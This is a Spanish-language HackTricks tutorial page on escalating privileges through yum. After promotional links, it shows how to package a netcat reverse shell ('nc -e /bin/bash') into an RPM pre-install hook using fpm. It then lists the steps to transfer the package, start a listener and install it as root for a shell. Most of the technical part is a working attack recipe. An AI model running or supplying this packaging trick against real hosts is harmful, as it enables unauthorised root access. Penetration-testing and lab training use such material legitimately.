☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
También se pueden encontrar más ejemplos sobre yum en [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Ejecución de comandos arbitrarios a través de paquetes RPM
## Comprobando el entorno
Para aprovechar este vector, el usuario debe ser capaz de ejecutar comandos yum como un usuario con privilegios más altos, es decir, root.
### Un ejemplo de trabajo de este vector
Se puede encontrar un ejemplo de trabajo de esta explotación en la sala [daily bugle](https://tryhackme.com/room/dailybugle) en [tryhackme](https://tryhackme.com).
## Empaquetando un RPM
En la siguiente sección, cubriré cómo empaquetar una shell inversa en un RPM usando [fpm](https://github.com/jordansissel/fpm).
El siguiente ejemplo crea un paquete que incluye un disparador de antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un ejemplo simple de shell inversa de netcat para la demostración, pero esto puede ser cambiado según sea necesario.
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash '
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# Obteniendo una shell
Usando el ejemplo anterior y asumiendo que `yum` puede ser ejecutado como un usuario con mayores privilegios.
1. **Transfiere** el rpm al host
2. **Inicia** un listener en tu host local, como el [ejemplo de listener netcat](/shells/shells/linux#netcat)
3. **Instala** el paquete vulnerable `yum localinstall -y exploited-1.0-1.noarch.rpm`